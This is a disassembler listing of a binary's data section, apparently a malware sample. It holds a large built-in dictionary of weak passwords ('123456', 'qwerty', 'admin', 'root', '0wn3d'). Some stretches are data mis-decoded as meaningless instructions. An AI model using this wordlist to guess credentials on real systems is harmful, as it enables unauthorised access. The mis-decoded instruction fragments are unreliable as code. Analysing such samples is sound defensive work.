		dd offset dword_42F644
		dd offset off_42F640
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F634	; "+"
		dd offset asc_42F630	; "++"
		dd offset asc_42F62C	; "+++"
		dd offset asc_42F624	; "++++"
		dd offset asc_42F620	; "-"
		dd offset asc_42F61C	; "--"
		dd offset asc_42F61C	; "--"
		dd offset asc_42F614	; "----"
		dd offset asc_42F610	; "-+"
		dd offset asc_42F608	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F5F0	; "$"
		dd offset asc_42F5EC	; "$$"
		dd offset asc_42F5E8	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_42645C
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426CEC	; "*"
		dd offset asc_42F598	; "**"
		dd offset asc_42F594	; "***"
		dd offset asc_42F58C	; "****"
		dd offset asc_42F584	; "*****"
		dd offset asc_42F57C	; "******"
		dd offset asc_42F574	; "*******"
		dd offset asc_42F568	; "********"
		dd offset asc_42F55C	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4_0		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5_0		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia_0	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_2		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota	; "TOYOTA"
		dd offset aToyota_0	; "toyota"
		dd offset asc_43362C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ_1		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC_1		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd_1		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_42EDD4	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_1		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42ED44	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM_0		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN_0		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP_1		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU_0		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		cld
		jmp	short loc_42E941
; ---------------------------------------------------------------------------
		align 10h
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	al, bl
		jmp	short loc_42E959
; ---------------------------------------------------------------------------
		align 4
		movsb
		test	dword ptr [edx+0], offset aWwww	; "wwww"
		enter	42EBh, 0
		shr	bl, 42h
		add	[ebx+ebp*8-1447FFBEh], bh
		inc	edx
		add	[ebx+ebp*8-1453FFBEh], dh
		inc	edx
		add	[ebx+ebp*8-1463FFBEh], ah
		inc	edx
		add	[eax], ch


loc_42E941:				; CODE XREF: .text:0042E8FDj
		db	36h
		inc	ebx
		add	[eax-6BFFBD15h], bl
		jmp	short loc_42E98D
; ---------------------------------------------------------------------------
		align 4
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		db 74h
; ---------------------------------------------------------------------------


loc_42E959:				; CODE XREF: .text:0042E915j
		jmp	short loc_42E99D
; ---------------------------------------------------------------------------
		align 4
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
; ---------------------------------------------------------------------------
		pop	esp
		jmp	short loc_42E9A9
; ---------------------------------------------------------------------------
		align 4
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
; ---------------------------------------------------------------------------
		cmp	bl, ch
		inc	edx
		add	[eax], dh
		jmp	short loc_42E9B9
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E9C1
; ---------------------------------------------------------------------------
		align 10h
		dd offset a1qaz		; "1qaz"
; ---------------------------------------------------------------------------
		adc	bl, ch
		inc	edx
		add	[eax], cl
		jmp	short loc_42E9CD
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_42E98D:				; CODE XREF: .text:0042E949j
		jmp	short loc_42E9D1
; ---------------------------------------------------------------------------
		align 10h
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		db 0E4h
; ---------------------------------------------------------------------------


loc_42E99D:				; CODE XREF: .text:loc_42E959j
		jmp	far ptr	42h:0EADC0042h
; ---------------------------------------------------------------------------
		aam	0EAh
		inc	edx
		add	ah, cl


loc_42E9A9:				; CODE XREF: .text:0042E965j
		jmp	far ptr	42h:0EAC40042h
; ---------------------------------------------------------------------------
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
; ---------------------------------------------------------------------------
		lodsb


loc_42E9B9:				; CODE XREF: .text:0042E975j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		push	eax


loc_42E9C1:				; CODE XREF: .text:0042E97Dj
		out	dx, eax
		inc	edx
		add	[edx+ebp*8+36DC0042h], dl
		inc	ebx
		add	ah, cl


loc_42E9CD:				; CODE XREF: .text:0042E989j
		db	36h
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		db 44h
; ---------------------------------------------------------------------------


loc_42E9D1:				; CODE XREF: .text:loc_42E98Dj
		pop	ds
		inc	ebx
		add	[ebp+ebp-1573FFBDh], ch
		inc	edx
		add	[eax-1BFFBCCDh], bh
		db	65h
		inc	edx
		add	[edx+ebp*8-1587FFBEh], al
		inc	edx
		add	[eax-16h], dh
		inc	edx
		add	[ebx+esi+43h], bh
		add	[eax+33h], dl
		inc	ebx
		add	[esp+esi], bh
		inc	ebx
		add	[eax-16h], ch
		inc	edx
		add	[esp+esi+43h], dh
		add	al, al
		xor	eax, [ebx+0]
		inc	esp
		xor	al, 43h
		add	[eax-16h], ah
		inc	edx
		add	[eax-16h], bl
		inc	edx
		add	ah, bl
		xor	eax, [ebx+0]
		push	esp
		and	eax, [ebx+0]
		push	eax
		jmp	far ptr	42h:0EA480042h
; ---------------------------------------------------------------------------
		dd offset aUser_0	; "USER"
		dd offset aBackup_0	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_43B658
		dd 0
dword_42EA3C	dd 10h							; sub_40CD3A+B03r ...
aBackup_0	db 'BACKUP',0           ; DATA XREF: .text:0042EA28o
		align 4
aAccess_0	db 'ACCESS',0
		align 10h
aTest_0		db 'TEST',0
		align 4
aOwner_1	db 'OWNER',0
		align 10h
aDemo_0		db 'DEMO',0
		align 4
aLadeda		db 'ladeda',0
		align 10h
aTemp		db 'TEMP',0
		align 4
aPassword_0	db 'PASSWORD',0
		align 4
aAdmin_1	db 'ADMIN',0
		align 4
aGuest_1	db 'GUEST',0
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0
		align 4
a142536		db '142536',0
		align 4
a753951		db '753951',0
		align 4
a951753		db '951753',0           ; DATA XREF: .text:0042E9B4o
		align 4
a159357		db '159357',0           ; DATA XREF: .text:0042E9B0o
		align 4
a753159		db '753159',0
		align 4
a13579		db '13579',0
		align 4
a2684		db '2684',0
		align 4
a2486		db '2486',0
		align 4
aMnbv		db 'mnbv',0
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .text:0042E998o
a112233		db '112233',0           ; DATA XREF: .text:0042E994o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .text:0042E990o
		align 10h
a3edc		db '3edc',0
		align 4
a2qaz		db '2qaz',0
		align 10h
a2wsx		db '2wsx',0
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .text:0042E980o
		align 10h
aZzxxcc		db 'zzxxcc',0
		align 4
aAassdd		db 'aassdd',0
		align 10h
aQqwwee		db 'qqwwee',0
		align 4
aQqqwwweee	db 'qqqwwweee',0
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .text:0042E96Co
		align 10h
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .text:0042E968o
		align 4
aQqww		db 'qqww',0
		align 4
aAass		db 'aass',0             ; DATA XREF: .text:0042E960o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .text:0042E95Co
		align 4
aXxyyzz		db 'xxyyzz',0
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .text:0042E954o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .text:0042E950o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .text:0042E94Co
		align 4
aZzz		db 'zzz',0
aZz		db 'zz',0
		align 4
aQqqqqq		db 'qqqqqq',0
		align 4
aQqqqq		db 'qqqqq',0
		align 4
aQqqq		db 'qqqq',0
		align 4
aQqq		db 'qqq',0
aQq		db 'qq',0
		align 4
aQ:
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0
		align 4
aWwwww		db 'wwwww',0
		align 10h
aWwww		db 'wwww',0             ; DATA XREF: .text:0042E919o
		align 4
aWw		db 'ww',0
		align 4
aW:
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .text:0042E90Co
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .text:0042E908o
		align 10h
aVvvv		db 'vvvv',0             ; DATA XREF: .text:0042E904o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_40CD3A+25AAo
					; .text:0042E900o
aVv		db 'vv',0
		align 10h
aV:					; DATA XREF: .text:0042E8F8o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .text:0042E8F4o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .text:0042E8F0o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: .text:0042E8ECo
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .text:0042E8E8o
aYy		db 'yy',0               ; DATA XREF: .text:0042E8E4o
		align 4
aY:					; DATA XREF: .text:0042E8E0o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .text:0042E8DCo
		align 10h
aTtttt		db 'ttttt',0            ; DATA XREF: .text:0042E8D8o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .text:0042E8D4o
		align 10h
aTtt		db 'ttt',0              ; DATA XREF: .text:0042E8D0o
aTt		db 'tt',0               ; DATA XREF: .text:0042E8CCo
		align 4
aT:					; DATA XREF: .text:0042E8C8o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .text:0042E8C4o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .text:0042E8C0o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .text:0042E8BCo
		align 4
aSss		db 'sss',0              ; DATA XREF: .text:0042E8B8o
aSs		db 'ss',0               ; DATA XREF: .text:0042E8B4o
		align 4
aS_4:					; DATA XREF: .text:0042E8B0o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .text:0042E8ACo
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .text:0042E8A8o
		align 10h
aUuuu		db 'uuuu',0             ; DATA XREF: .text:0042E8A4o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .text:0042E8A0o
aUu		db 'uu',0               ; DATA XREF: .text:0042E89Co
		align 10h
aU_0:					; DATA XREF: .text:0042E898o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .text:0042E894o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .text:0042E890o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: .text:0042E88Co
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .text:0042E888o
aPp		db 'pp',0               ; DATA XREF: .text:0042E884o
		align 4
aP_1:					; DATA XREF: .text:0042E880o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .text:0042E87Co
		align 10h
aOoooo		db 'ooooo',0            ; DATA XREF: .text:0042E878o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .text:0042E874o
		align 10h
aOoo		db 'ooo',0              ; DATA XREF: .text:0042E870o
aOo		db 'oo',0               ; DATA XREF: .text:0042E86Co
		align 4
aO:					; DATA XREF: .text:0042E868o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .text:0042E864o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .text:0042E860o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .text:0042E85Co
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .text:0042E858o
aNn		db 'nn',0               ; DATA XREF: .text:0042E854o
		align 4
aN_0:					; DATA XREF: .text:0042E850o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .text:0042E84Co
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .text:0042E848o
		align 10h
aMmmm		db 'mmmm',0             ; DATA XREF: .text:0042E844o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .text:0042E840o
aMm		db 'mm',0               ; DATA XREF: .text:0042E83Co
		align 10h
aM_0:					; DATA XREF: .text:0042E838o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .text:0042E834o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .text:0042E830o
		align 4
aLlll		db 'llll',0             ; DATA XREF: .text:0042E82Co
		align 4
aLll		db 'lll',0              ; DATA XREF: .text:0042E828o
aLl		db 'll',0               ; DATA XREF: .text:0042E824o
		align 4
asc_42ED44:				; DATA XREF: .text:0042E820o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .text:0042E81Co
		align 10h
aKkkkk		db 'kkkkk',0            ; DATA XREF: .text:0042E818o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .text:0042E814o
		align 10h
aKkk		db 'kkk',0              ; DATA XREF: .text:0042E810o
aKk		db 'kk',0               ; DATA XREF: .text:0042E80Co
		align 4
aK:					; DATA XREF: .text:0042E808o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .text:0042E804o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .text:0042E800o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .text:0042E7FCo
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .text:0042E7F8o
aJj		db 'jj',0               ; DATA XREF: .text:0042E7F4o
		align 4
aJ:					; DATA XREF: .text:0042E7F0o
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: .text:0042E7ECo
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: .text:0042E7E8o
		align 10h
aIiii		db 'iiii',0             ; DATA XREF: .text:0042E7E4o
		align 4
aIii		db 'iii',0              ; DATA XREF: .text:0042E7E0o
aIi		db 'ii',0               ; DATA XREF: .text:0042E7DCo
		align 10h
aI_1:					; DATA XREF: .text:0042E7D8o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .text:0042E7D4o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .text:0042E7D0o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: .text:0042E7CCo
		align 4
aHhh		db 'hhh',0              ; DATA XREF: .text:0042E7C8o
aHh		db 'hh',0               ; DATA XREF: .text:0042E7C4o
		align 4
asc_42EDD4:				; DATA XREF: .text:0042E7C0o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .text:0042E7BCo
		align 10h
aGgggg		db 'ggggg',0            ; DATA XREF: .text:0042E7B8o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .text:0042E7B4o
		align 10h
aGgg		db 'ggg',0              ; DATA XREF: .text:0042E7B0o
aGg		db 'gg',0               ; DATA XREF: .text:0042E7ACo
		align 4
aG:					; DATA XREF: .text:0042E7A8o
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .text:0042E7A4o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: .text:0042E7A0o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .text:0042E79Co
		align 4
aEee		db 'eee',0              ; DATA XREF: .text:0042E798o
aEe		db 'ee',0               ; DATA XREF: .text:0042E794o
		align 4
aE:					; DATA XREF: .text:0042E790o
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: .text:0042E78Co
		align 4
aFfff		db 'ffff',0             ; DATA XREF: .text:0042E788o
		align 10h
aFff		db 'fff',0              ; DATA XREF: .text:0042E784o
aFf		db 'ff',0               ; DATA XREF: .text:0042E780o
		align 4
aF:					; DATA XREF: .text:0042E77Co
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .text:0042E778o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: .text:0042E774o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: .text:0042E770o
aDd_1		db 'dd',0               ; DATA XREF: .text:0042E76Co
		align 4
